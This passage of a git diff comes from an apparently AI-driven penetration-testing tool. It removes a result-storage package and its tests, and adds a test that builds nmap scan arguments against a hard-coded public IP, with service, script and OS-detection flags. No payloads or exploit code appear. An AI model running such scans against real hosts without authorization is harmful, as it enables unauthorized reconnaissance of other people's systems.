-	sb.WriteString(fmt.Sprintf("第 %d/%d 页，每页 %d 行，共 %d 行\n\n",
-		resultPage.Page, resultPage.TotalPages, resultPage.Limit, resultPage.TotalLines))
-
-	if len(resultPage.Lines) == 0 {
-		sb.WriteString("没有找到匹配的结果。\n")
-	} else {
-		for i, line := range resultPage.Lines {
-			lineNum := (resultPage.Page-1)*resultPage.Limit + i + 1
-			sb.WriteString(fmt.Sprintf("%d: %s\n", lineNum, line))
-		}
-	}
-
-	sb.WriteString("\n")
-	if resultPage.Page < resultPage.TotalPages {
-		sb.WriteString(fmt.Sprintf("提示: 使用 page=%d 查看下一页", resultPage.Page+1))
-		if search != "" {
-			sb.WriteString(fmt.Sprintf("，或使用 search=\"%s\" 继续搜索", search))
-			if useRegex {
-				sb.WriteString(" (正则模式)")
-			}
-		}
-		if filter != "" {
-			sb.WriteString(fmt.Sprintf("，或使用 filter=\"%s\" 继续过滤", filter))
-			if useRegex {
-				sb.WriteString(" (正则模式)")
-			}
-		}
-		sb.WriteString("\n")
-	}
-
 	return &mcp.ToolResult{
 		Content: []mcp.Content{
 			{
 				Type: "text",
-				Text: sb.String(),
+				Text: fmt.Sprintf("错误: 未知的内部工具类型: %s", internalToolType),
 			},
 		},
-		IsError: false,
+		IsError: true,
 	}, nil
 }
 
-// paginateLines 对行列表进行分页
-func paginateLines(lines []string, page int, limit int) *storage.ResultPage {
-	totalLines := len(lines)
-	totalPages := (totalLines + limit - 1) / limit
-	if page < 1 {
-		page = 1
-	}
-	if page > totalPages && totalPages > 0 {
-		page = totalPages
-	}
-
-	start := (page - 1) * limit
-	end := start + limit
-	if end > totalLines {
-		end = totalLines
-	}
-
-	var pageLines []string
-	if start < totalLines {
-		pageLines = lines[start:end]
-	} else {
-		pageLines = []string{}
-	}
-
-	return &storage.ResultPage{
-		Lines:      pageLines,
-		Page:       page,
-		Limit:      limit,
-		TotalLines: totalLines,
-		TotalPages: totalPages,
-	}
-}
-
 // buildInputSchema 构建输入模式
 func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]interface{} {
 	schema := map[string]interface{}{

internal/security/executor_test.go

@@ -2,15 +2,12 @@ package security
 
 import (
 	"context"
-	"os"
-	"path/filepath"
 	"strings"
 	"testing"
 	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
@@ -28,137 +25,6 @@ func setupTestExecutor(t *testing.T) (*Executor, *mcp.Server) {
 	return executor, mcpServer
 }
 
-// setupTestStorage 创建测试用的存储
-func setupTestStorage(t *testing.T) *storage.FileResultStorage {
-	tmpDir := filepath.Join(os.TempDir(), "test_executor_storage_"+time.Now().Format("20060102_150405"))
-	logger := zap.NewNop()
-
-	storage, err := storage.NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建测试存储失败: %v", err)
-	}
-
-	return storage
-}
-
-func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
-	executor, _ := setupTestExecutor(t)
-	testStorage := setupTestStorage(t)
-	executor.SetResultStorage(testStorage)
-
-	// 准备测试数据
-	executionID := "test_exec_001"
-	toolName := "nmap_scan"
-	result := "Line 1: Port 22 open\nLine 2: Port 80 open\nLine 3: Port 443 open\nLine 4: error occurred"
-
-	// 保存测试结果
-	err := testStorage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存测试结果失败: %v", err)
-	}
-
-	ctx := context.Background()
-
-	// 测试1: 基本查询（第一页）
-	args := map[string]interface{}{
-		"execution_id": executionID,
-		"page":         float64(1),
-		"limit":        float64(2),
-	}
-
-	toolResult, err := executor.executeQueryExecutionResult(ctx, args)
-	if err != nil {
-		t.Fatalf("执行查询失败: %v", err)
-	}
-
-	if toolResult.IsError {
-		t.Fatalf("查询应该成功，但返回了错误: %s", toolResult.Content[0].Text)
-	}
-
-	// 验证结果包含预期内容
-	resultText := toolResult.Content[0].Text
-	if !strings.Contains(resultText, executionID) {
-		t.Errorf("结果中应该包含执行ID: %s", executionID)
-	}
-
-	if !strings.Contains(resultText, "第 1/") {
-		t.Errorf("结果中应该包含分页信息")
-	}
-
-	// 测试2: 搜索功能
-	args2 := map[string]interface{}{
-		"execution_id": executionID,
-		"search":       "error",
-		"page":         float64(1),
-		"limit":        float64(10),
-	}
-
-	toolResult2, err := executor.executeQueryExecutionResult(ctx, args2)
-	if err != nil {
-		t.Fatalf("执行搜索失败: %v", err)
-	}
-
-	if toolResult2.IsError {
-		t.Fatalf("搜索应该成功，但返回了错误: %s", toolResult2.Content[0].Text)
-	}
-
-	resultText2 := toolResult2.Content[0].Text
-	if !strings.Contains(resultText2, "error") {
-		t.Errorf("搜索结果中应该包含关键词: error")
-	}
-
-	// 测试3: 过滤功能
-	args3 := map[string]interface{}{
-		"execution_id": executionID,
-		"filter":       "Port",
-		"page":         float64(1),
-		"limit":        float64(10),
-	}
-
-	toolResult3, err := executor.executeQueryExecutionResult(ctx, args3)
-	if err != nil {
-		t.Fatalf("执行过滤失败: %v", err)
-	}
-
-	if toolResult3.IsError {
-		t.Fatalf("过滤应该成功，但返回了错误: %s", toolResult3.Content[0].Text)
-	}
-
-	resultText3 := toolResult3.Content[0].Text
-	if !strings.Contains(resultText3, "Port") {
-		t.Errorf("过滤结果中应该包含关键词: Port")
-	}
-
-	// 测试4: 缺少必需参数
-	args4 := map[string]interface{}{
-		"page": float64(1),
-	}
-
-	toolResult4, err := executor.executeQueryExecutionResult(ctx, args4)
-	if err != nil {
-		t.Fatalf("执行查询失败: %v", err)
-	}
-
-	if !toolResult4.IsError {
-		t.Fatal("缺少execution_id应该返回错误")
-	}
-
-	// 测试5: 不存在的执行ID
-	args5 := map[string]interface{}{
-		"execution_id": "nonexistent_id",
-		"page":         float64(1),
-	}
-
-	toolResult5, err := executor.executeQueryExecutionResult(ctx, args5)
-	if err != nil {
-		t.Fatalf("执行查询失败: %v", err)
-	}
-
-	if !toolResult5.IsError {
-		t.Fatal("不存在的执行ID应该返回错误")
-	}
-}
-
 func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
 	executor, _ := setupTestExecutor(t)
 
@@ -182,29 +48,6 @@ func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
 	}
 }
 
-func TestExecutor_ExecuteInternalTool_NoStorage(t *testing.T) {
-	executor, _ := setupTestExecutor(t)
-	// 不设置存储，测试未初始化的情况
-
-	ctx := context.Background()
-	args := map[string]interface{}{
-		"execution_id": "test_id",
-	}
-
-	toolResult, err := executor.executeQueryExecutionResult(ctx, args)
-	if err != nil {
-		t.Fatalf("执行查询失败: %v", err)
-	}
-
-	if !toolResult.IsError {
-		t.Fatal("未初始化的存储应该返回错误")
-	}
-
-	if !strings.Contains(toolResult.Content[0].Text, "结果存储未初始化") {
-		t.Errorf("错误消息应该包含'结果存储未初始化'")
-	}
-}
-
 func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) {
 	executor, _ := setupTestExecutor(t)
 	// 子进程先向 stdout 写无换行字符再长时间 sleep；若与 echo $pid 共享管道且未重定向子进程 stdout，
@@ -228,63 +71,58 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
 	}
 }
 
-func TestPaginateLines(t *testing.T) {
-	lines := []string{"Line 1", "Line 2", "Line 3", "Line 4", "Line 5"}
-
-	// 测试第一页
-	page := paginateLines(lines, 1, 2)
-	if page.Page != 1 {
-		t.Errorf("页码不匹配。期望: 1, 实际: %d", page.Page)
-	}
-	if page.Limit != 2 {
-		t.Errorf("每页行数不匹配。期望: 2, 实际: %d", page.Limit)
-	}
-	if page.TotalLines != 5 {
-		t.Errorf("总行数不匹配。期望: 5, 实际: %d", page.TotalLines)
-	}
-	if page.TotalPages != 3 {
-		t.Errorf("总页数不匹配。期望: 3, 实际: %d", page.TotalPages)
-	}
-	if len(page.Lines) != 2 {
-		t.Errorf("第一页行数不匹配。期望: 2, 实际: %d", len(page.Lines))
+func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
+	pos1 := 1
+	executor, _ := setupTestExecutor(t)
+	toolConfig := &config.ToolConfig{
+		Name:    "nmap",
+		Command: "nmap",
+		Args:    []string{"-sT", "-sV", "-sC"},
+		Parameters: []config.ParameterConfig{
+			{Name: "target", Type: "string", Required: true, Position: &pos1, Format: "positional"},
+			{Name: "ports", Type: "string", Flag: "-p", Format: "flag"},
+			{Name: "timing", Type: "string", Template: "-T{value}", Format: "template"},
+			{Name: "nse_scripts", Type: "string", Flag: "--script", Format: "flag"},
+			{Name: "os_detection", Type: "bool", Flag: "-O", Format: "flag", Default: false},
+			{Name: "aggressive", Type: "bool", Flag: "-A", Format: "flag", Default: false},
+			{Name: "scan_type", Type: "string", Format: "template", Template: "{value}"},
+			{Name: "additional_args", Type: "string", Format: "positional"},
+		},
 	}
 
-	// 测试第二页
-	page2 := paginateLines(lines, 2, 2)
-	if len(page2.Lines) != 2 {
-		t.Errorf("第二页行数不匹配。期望: 2, 实际: %d", len(page2.Lines))
-	}
-	if page2.Lines[0] != "Line 3" {
-		t.Errorf("第二页第一行不匹配。期望: Line 3, 实际: %s", page2.Lines[0])
+	args := map[string]interface{}{
+		"target":          "110.52.223.114",
+		"ports":           "21, 22, 80, 443",
+		"timing":          "4",
+		"nse_scripts":     "",
+		"scan_type":       "",
+		"os_detection":    false,
+		"aggressive":      false,
+		"additional_args": "-Pn",
 	}
 
-	// 测试最后一页
-	page3 := paginateLines(lines, 3, 2)
-	if len(page3.Lines) != 1 {
-		t.Errorf("第三页行数不匹配。期望: 1, 实际: %d", len(page3.Lines))
-	}
+	cmdArgs := executor.buildCommandArgs("nmap", toolConfig, args)
+	joined := strings.Join(cmdArgs, " ")
 
-	// 测试超出范围的页码（应该返回最后一页）
-	page4 := paginateLines(lines, 4, 2)
-	if page4.Page != 3 {
-		t.Errorf("超出范围的页码应该被修正为最后一页。期望: 3, 实际: %d", page4.Page)
+	if strings.Contains(joined, "--script") {
+		t.Fatalf("empty nse_scripts must not emit --script, got: %v", cmdArgs)
 	}
-	if len(page4.Lines) != 1 {
-		t.Errorf("最后一页应该只有1行。实际: %d行", len(page4.Lines))
+	if !strings.Contains(joined, "110.52.223.114") {
+		t.Fatalf("target missing from args: %v", cmdArgs)
 	}
-
-	// 测试无效页码（小于1）
-	page0 := paginateLines(lines, 0, 2)
-	if page0.Page != 1 {
-		t.Errorf("无效页码应该被修正为1。实际: %d", page0.Page)
-	}
-
-	// 测试空列表
-	emptyPage := paginateLines([]string{}, 1, 10)
-	if emptyPage.TotalLines != 0 {
-		t.Errorf("空列表的总行数应该为0。实际: %d", emptyPage.TotalLines)
-	}
-	if len(emptyPage.Lines) != 0 {
-		t.Errorf("空列表应该返回空结果。实际: %d行", len(emptyPage.Lines))
+	// target 应出现在 -Pn 之前，避免被误当作 --script 的参数
+	pnIdx := indexOf(cmdArgs, "-Pn")
+	targetIdx := indexOf(cmdArgs, "110.52.223.114")
+	if pnIdx < 0 || targetIdx < 0 || targetIdx >= pnIdx {
+		t.Fatalf("expected target before -Pn, got: %v", cmdArgs)
 	}
 }
+
+func indexOf(slice []string, s string) int {
+	for i, v := range slice {
+		if v == s {
+			return i
+		}
+	}
+	return -1
+}

internal/storage/result_storage.go

@@ -1,297 +0,0 @@
-package storage
-
-import (
-	"encoding/json"
-	"fmt"
-	"os"
-	"path/filepath"
-	"regexp"
-	"strings"
-	"sync"
-	"time"
-
-	"go.uber.org/zap"
-)
-
-// ResultStorage 结果存储接口
-type ResultStorage interface {
-	// SaveResult 保存工具执行结果
-	SaveResult(executionID string, toolName string, result string) error
-
-	// GetResult 获取完整结果
-	GetResult(executionID string) (string, error)
-
-	// GetResultPage 分页获取结果
-	GetResultPage(executionID string, page int, limit int) (*ResultPage, error)
-
-	// SearchResult 搜索结果
-	// useRegex: 如果为 true，将 keyword 作为正则表达式使用；如果为 false，使用简单的字符串包含匹配
-	SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
-
-	// FilterResult 过滤结果
-	// useRegex: 如果为 true，将 filter 作为正则表达式使用；如果为 false，使用简单的字符串包含匹配
-	FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
-
-	// GetResultMetadata 获取结果元信息
-	GetResultMetadata(executionID string) (*ResultMetadata, error)
-
-	// GetResultPath 获取结果文件路径
-	GetResultPath(executionID string) string
-
-	// DeleteResult 删除结果
-	DeleteResult(executionID string) error
-}
-
-// ResultPage 分页结果
-type ResultPage struct {
-	Lines      []string `json:"lines"`
-	Page       int      `json:"page"`
-	Limit      int      `json:"limit"`
-	TotalLines int      `json:"total_lines"`
-	TotalPages int      `json:"total_pages"`
-}
-
-// ResultMetadata 结果元信息
-type ResultMetadata struct {
-	ExecutionID string    `json:"execution_id"`
-	ToolName    string    `json:"tool_name"`
-	TotalSize   int       `json:"total_size"`
-	TotalLines  int       `json:"total_lines"`
-	CreatedAt   time.Time `json:"created_at"`
-}
-
-// FileResultStorage 基于文件的结果存储实现
-type FileResultStorage struct {
-	baseDir string
-	logger  *zap.Logger
-	mu      sync.RWMutex
-}
-
-// NewFileResultStorage 创建新的文件结果存储
-func NewFileResultStorage(baseDir string, logger *zap.Logger) (*FileResultStorage, error) {
-	// 确保目录存在
-	if err := os.MkdirAll(baseDir, 0755); err != nil {
-		return nil, fmt.Errorf("创建存储目录失败: %w", err)
-	}
-
-	return &FileResultStorage{
-		baseDir: baseDir,
-		logger:  logger,
-	}, nil
-}
-
-// getResultPath 获取结果文件路径
-func (s *FileResultStorage) getResultPath(executionID string) string {
-	return filepath.Join(s.baseDir, executionID+".txt")
-}
-
-// getMetadataPath 获取元数据文件路径
-func (s *FileResultStorage) getMetadataPath(executionID string) string {
-	return filepath.Join(s.baseDir, executionID+".meta.json")
-}
-
-// SaveResult 保存工具执行结果
-func (s *FileResultStorage) SaveResult(executionID string, toolName string, result string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-
-	// 保存结果文件
-	resultPath := s.getResultPath(executionID)
-	if err := os.WriteFile(resultPath, []byte(result), 0644); err != nil {
-		return fmt.Errorf("保存结果文件失败: %w", err)
-	}
-
-	// 计算统计信息
-	lines := strings.Split(result, "\n")
-	metadata := &ResultMetadata{
-		ExecutionID: executionID,
-		ToolName:    toolName,
-		TotalSize:   len(result),
-		TotalLines:  len(lines),
-		CreatedAt:   time.Now(),
-	}
-
-	// 保存元数据
-	metadataPath := s.getMetadataPath(executionID)
-	metadataJSON, err := json.Marshal(metadata)
-	if err != nil {
-		return fmt.Errorf("序列化元数据失败: %w", err)
-	}
-
-	if err := os.WriteFile(metadataPath, metadataJSON, 0644); err != nil {
-		return fmt.Errorf("保存元数据文件失败: %w", err)
-	}
-
-	s.logger.Info("保存工具执行结果",
-		zap.String("executionID", executionID),
-		zap.String("toolName", toolName),
-		zap.Int("size", len(result)),
-		zap.Int("lines", len(lines)),
-	)
-
-	return nil
-}
-
-// GetResult 获取完整结果
-func (s *FileResultStorage) GetResult(executionID string) (string, error) {
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-
-	resultPath := s.getResultPath(executionID)
-	data, err := os.ReadFile(resultPath)
-	if err != nil {
-		if os.IsNotExist(err) {
-			return "", fmt.Errorf("结果不存在: %s", executionID)
-		}
-		return "", fmt.Errorf("读取结果文件失败: %w", err)
-	}
-
-	return string(data), nil
-}
-
-// GetResultMetadata 获取结果元信息
-func (s *FileResultStorage) GetResultMetadata(executionID string) (*ResultMetadata, error) {
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-
-	metadataPath := s.getMetadataPath(executionID)
-	data, err := os.ReadFile(metadataPath)
-	if err != nil {
-		if os.IsNotExist(err) {
-			return nil, fmt.Errorf("结果不存在: %s", executionID)
-		}
-		return nil, fmt.Errorf("读取元数据文件失败: %w", err)
-	}
-
-	var metadata ResultMetadata
-	if err := json.Unmarshal(data, &metadata); err != nil {
-		return nil, fmt.Errorf("解析元数据失败: %w", err)
-	}
-
-	return &metadata, nil
-}
-
-// GetResultPage 分页获取结果
-func (s *FileResultStorage) GetResultPage(executionID string, page int, limit int) (*ResultPage, error) {
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-
-	// 获取完整结果
-	result, err := s.GetResult(executionID)
-	if err != nil {
-		return nil, err
-	}
-
-	// 分割为行
-	lines := strings.Split(result, "\n")
-	totalLines := len(lines)
-
-	// 计算分页
-	totalPages := (totalLines + limit - 1) / limit
-	if page < 1 {
-		page = 1
-	}
-	if page > totalPages && totalPages > 0 {
-		page = totalPages
-	}
-
-	// 计算起始和结束索引
-	start := (page - 1) * limit
-	end := start + limit
-	if end > totalLines {
-		end = totalLines
-	}
-
-	// 提取指定页的行
-	var pageLines []string
-	if start < totalLines {
-		pageLines = lines[start:end]
-	} else {
-		pageLines = []string{}
-	}
-
-	return &ResultPage{
-		Lines:      pageLines,
-		Page:       page,
-		Limit:      limit,
-		TotalLines: totalLines,
-		TotalPages: totalPages,
-	}, nil
-}
-
-// SearchResult 搜索结果
-func (s *FileResultStorage) SearchResult(executionID string, keyword string, useRegex bool) ([]string, error) {
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-
-	// 获取完整结果
-	result, err := s.GetResult(executionID)
-	if err != nil {
-		return nil, err
-	}
-
-	// 如果使用正则表达式，先编译正则
-	var regex *regexp.Regexp
-	if useRegex {
-		compiledRegex, err := regexp.Compile(keyword)
-		if err != nil {
-			return nil, fmt.Errorf("无效的正则表达式: %w", err)
-		}
-		regex = compiledRegex
-	}
-
-	// 分割为行并搜索
-	lines := strings.Split(result, "\n")
-	var matchedLines []string
-
-	for _, line := range lines {
-		var matched bool
-		if useRegex {
-			matched = regex.MatchString(line)
-		} else {
-			matched = strings.Contains(line, keyword)
-		}
-
-		if matched {
-			matchedLines = append(matchedLines, line)
-		}
-	}
-
-	return matchedLines, nil
-}
-
-// FilterResult 过滤结果
-func (s *FileResultStorage) FilterResult(executionID string, filter string, useRegex bool) ([]string, error) {
-	// 过滤和搜索逻辑相同，都是查找包含关键词的行
-	return s.SearchResult(executionID, filter, useRegex)
-}
-
-// GetResultPath 获取结果文件路径
-func (s *FileResultStorage) GetResultPath(executionID string) string {
-	return s.getResultPath(executionID)
-}
-
-// DeleteResult 删除结果
-func (s *FileResultStorage) DeleteResult(executionID string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-
-	resultPath := s.getResultPath(executionID)
-	metadataPath := s.getMetadataPath(executionID)
-
-	// 删除结果文件
-	if err := os.Remove(resultPath); err != nil && !os.IsNotExist(err) {
-		return fmt.Errorf("删除结果文件失败: %w", err)
-	}
-
-	// 删除元数据文件
-	if err := os.Remove(metadataPath); err != nil && !os.IsNotExist(err) {
-		return fmt.Errorf("删除元数据文件失败: %w", err)
-	}
-
-	s.logger.Info("删除工具执行结果",
-		zap.String("executionID", executionID),
-	)
-
-	return nil
-}

internal/storage/result_storage_test.go

@@ -1,453 +0,0 @@
-package storage
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-	"time"
-
-	"go.uber.org/zap"
-)
-
-// setupTestStorage 创建测试用的存储实例
-func setupTestStorage(t *testing.T) (*FileResultStorage, string) {
-	tmpDir := filepath.Join(os.TempDir(), "test_result_storage_"+time.Now().Format("20060102_150405"))
-	logger := zap.NewNop()
-
-	storage, err := NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建测试存储失败: %v", err)
-	}
-
-	return storage, tmpDir
-}
-
-// cleanupTestStorage 清理测试数据
-func cleanupTestStorage(t *testing.T, tmpDir string) {
-	if err := os.RemoveAll(tmpDir); err != nil {
-		t.Logf("清理测试目录失败: %v", err)
-	}
-}
-
-func TestNewFileResultStorage(t *testing.T) {
-	tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
-	defer cleanupTestStorage(t, tmpDir)
-
-	logger := zap.NewNop()
-	storage, err := NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建存储失败: %v", err)
-	}
-
-	if storage == nil {
-		t.Fatal("存储实例为nil")
-	}
-
-	// 验证目录已创建
-	if _, err := os.Stat(tmpDir); os.IsNotExist(err) {
-		t.Fatal("存储目录未创建")
-	}
-}
-
-func TestFileResultStorage_SaveResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_001"
-	toolName := "nmap_scan"
-	result := "Line 1\nLine 2\nLine 3\nLine 4\nLine 5"
-
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 验证结果文件存在
-	resultPath := filepath.Join(tmpDir, executionID+".txt")
-	if _, err := os.Stat(resultPath); os.IsNotExist(err) {
-		t.Fatal("结果文件未创建")
-	}
-
-	// 验证元数据文件存在
-	metadataPath := filepath.Join(tmpDir, executionID+".meta.json")
-	if _, err := os.Stat(metadataPath); os.IsNotExist(err) {
-		t.Fatal("元数据文件未创建")
-	}
-}
-
-func TestFileResultStorage_GetResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_002"
-	toolName := "test_tool"
-	expectedResult := "Test result content\nLine 2\nLine 3"
-
-	// 先保存结果
-	err := storage.SaveResult(executionID, toolName, expectedResult)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 获取结果
-	result, err := storage.GetResult(executionID)
-	if err != nil {
-		t.Fatalf("获取结果失败: %v", err)
-	}
-
-	if result != expectedResult {
-		t.Errorf("结果不匹配。期望: %q, 实际: %q", expectedResult, result)
-	}
-
-	// 测试不存在的执行ID
-	_, err = storage.GetResult("nonexistent_id")
-	if err == nil {
-		t.Fatal("应该返回错误")
-	}
-}
-
-func TestFileResultStorage_GetResultMetadata(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_003"
-	toolName := "test_tool"
-	result := "Line 1\nLine 2\nLine 3"
-
-	// 保存结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 获取元数据
-	metadata, err := storage.GetResultMetadata(executionID)
-	if err != nil {
-		t.Fatalf("获取元数据失败: %v", err)
-	}
-
-	if metadata.ExecutionID != executionID {
-		t.Errorf("执行ID不匹配。期望: %s, 实际: %s", executionID, metadata.ExecutionID)
-	}
-
-	if metadata.ToolName != toolName {
-		t.Errorf("工具名称不匹配。期望: %s, 实际: %s", toolName, metadata.ToolName)
-	}
-
-	if metadata.TotalSize != len(result) {
-		t.Errorf("总大小不匹配。期望: %d, 实际: %d", len(result), metadata.TotalSize)
-	}
-
-	expectedLines := len(strings.Split(result, "\n"))
-	if metadata.TotalLines != expectedLines {
-		t.Errorf("总行数不匹配。期望: %d, 实际: %d", expectedLines, metadata.TotalLines)
-	}
-
-	// 验证创建时间在合理范围内
-	now := time.Now()
-	if metadata.CreatedAt.After(now) || metadata.CreatedAt.Before(now.Add(-time.Second)) {
-		t.Errorf("创建时间不在合理范围内: %v", metadata.CreatedAt)
-	}
-}
-
-func TestFileResultStorage_GetResultPage(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_004"
-	toolName := "test_tool"
-	// 创建包含10行的结果
-	lines := make([]string, 10)
-	for i := 0; i < 10; i++ {
-		lines[i] = fmt.Sprintf("Line %d", i+1)
-	}
-	result := strings.Join(lines, "\n")
-
-	// 保存结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 测试第一页（每页3行）
-	page, err := storage.GetResultPage(executionID, 1, 3)
-	if err != nil {
-		t.Fatalf("获取第一页失败: %v", err)
-	}
-
-	if page.Page != 1 {
-		t.Errorf("页码不匹配。期望: 1, 实际: %d", page.Page)
-	}
-
-	if page.Limit != 3 {
-		t.Errorf("每页行数不匹配。期望: 3, 实际: %d", page.Limit)
-	}
-
-	if page.TotalLines != 10 {
-		t.Errorf("总行数不匹配。期望: 10, 实际: %d", page.TotalLines)
-	}
-
-	if page.TotalPages != 4 {
-		t.Errorf("总页数不匹配。期望: 4, 实际: %d", page.TotalPages)
-	}
-
-	if len(page.Lines) != 3 {
-		t.Errorf("第一页行数不匹配。期望: 3, 实际: %d", len(page.Lines))
-	}
-
-	if page.Lines[0] != "Line 1" {
-		t.Errorf("第一行内容不匹配。期望: Line 1, 实际: %s", page.Lines[0])
-	}
-
-	// 测试第二页
-	page2, err := storage.GetResultPage(executionID, 2, 3)
-	if err != nil {
-		t.Fatalf("获取第二页失败: %v", err)
-	}
-
-	if len(page2.Lines) != 3 {
-		t.Errorf("第二页行数不匹配。期望: 3, 实际: %d", len(page2.Lines))
-	}
-
-	if page2.Lines[0] != "Line 4" {
-		t.Errorf("第二页第一行内容不匹配。期望: Line 4, 实际: %s", page2.Lines[0])
-	}
-
-	// 测试最后一页（可能不满一页）
-	page4, err := storage.GetResultPage(executionID, 4, 3)
-	if err != nil {
-		t.Fatalf("获取第四页失败: %v", err)
-	}
-
-	if len(page4.Lines) != 1 {
-		t.Errorf("第四页行数不匹配。期望: 1, 实际: %d", len(page4.Lines))
-	}
-
-	// 测试超出范围的页码（应该返回最后一页）
-	page5, err := storage.GetResultPage(executionID, 5, 3)
-	if err != nil {
-		t.Fatalf("获取第五页失败: %v", err)
-	}
-
-	// 超出范围的页码会被修正为最后一页，所以应该返回最后一页的内容
-	if page5.Page != 4 {
-		t.Errorf("超出范围的页码应该被修正为最后一页。期望: 4, 实际: %d", page5.Page)
-	}
-
-	// 最后一页应该只有1行
-	if len(page5.Lines) != 1 {
-		t.Errorf("最后一页应该只有1行。实际: %d行", len(page5.Lines))
-	}
-}
-
-func TestFileResultStorage_SearchResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_005"
-	toolName := "test_tool"
-	result := "Line 1: error occurred\nLine 2: success\nLine 3: error again\nLine 4: ok"
-
-	// 保存结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 搜索包含"error"的行（简单字符串匹配）
-	matchedLines, err := storage.SearchResult(executionID, "error", false)
-	if err != nil {
-		t.Fatalf("搜索失败: %v", err)
-	}
-
-	if len(matchedLines) != 2 {
-		t.Errorf("搜索结果数量不匹配。期望: 2, 实际: %d", len(matchedLines))
-	}
-
-	// 验证搜索结果内容
-	for i, line := range matchedLines {
-		if !strings.Contains(line, "error") {
-			t.Errorf("搜索结果第%d行不包含关键词: %s", i+1, line)
-		}
-	}
-
-	// 测试搜索不存在的关键词
-	noMatch, err := storage.SearchResult(executionID, "nonexistent", false)
-	if err != nil {
-		t.Fatalf("搜索失败: %v", err)
-	}
-
-	if len(noMatch) != 0 {
-		t.Errorf("搜索不存在的关键词应该返回空结果。实际: %d行", len(noMatch))
-	}
-
-	// 测试正则表达式搜索
-	regexMatched, err := storage.SearchResult(executionID, "error.*again", true)
-	if err != nil {
-		t.Fatalf("正则搜索失败: %v", err)
-	}
-
-	if len(regexMatched) != 1 {
-		t.Errorf("正则搜索结果数量不匹配。期望: 1, 实际: %d", len(regexMatched))
-	}
-}
-
-func TestFileResultStorage_FilterResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_006"
-	toolName := "test_tool"
-	result := "Line 1: warning message\nLine 2: info message\nLine 3: warning again\nLine 4: debug message"
-
-	// 保存结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 过滤包含"warning"的行（简单字符串匹配）
-	filteredLines, err := storage.FilterResult(executionID, "warning", false)
-	if err != nil {
-		t.Fatalf("过滤失败: %v", err)
-	}
-
-	if len(filteredLines) != 2 {
-		t.Errorf("过滤结果数量不匹配。期望: 2, 实际: %d", len(filteredLines))
-	}
-
-	// 验证过滤结果内容
-	for i, line := range filteredLines {
-		if !strings.Contains(line, "warning") {
-			t.Errorf("过滤结果第%d行不包含关键词: %s", i+1, line)
-		}
-	}
-}
-
-func TestFileResultStorage_DeleteResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_007"
-	toolName := "test_tool"
-	result := "Test result"
-
-	// 保存结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存结果失败: %v", err)
-	}
-
-	// 验证文件存在
-	resultPath := filepath.Join(tmpDir, executionID+".txt")
-	metadataPath := filepath.Join(tmpDir, executionID+".meta.json")
-
-	if _, err := os.Stat(resultPath); os.IsNotExist(err) {
-		t.Fatal("结果文件不存在")
-	}
-
-	if _, err := os.Stat(metadataPath); os.IsNotExist(err) {
-		t.Fatal("元数据文件不存在")
-	}
-
-	// 删除结果
-	err = storage.DeleteResult(executionID)
-	if err != nil {
-		t.Fatalf("删除结果失败: %v", err)
-	}
-
-	// 验证文件已删除
-	if _, err := os.Stat(resultPath); !os.IsNotExist(err) {
-		t.Fatal("结果文件未被删除")
-	}
-
-	if _, err := os.Stat(metadataPath); !os.IsNotExist(err) {
-		t.Fatal("元数据文件未被删除")
-	}
-
-	// 测试删除不存在的执行ID（应该不报错）
-	err = storage.DeleteResult("nonexistent_id")
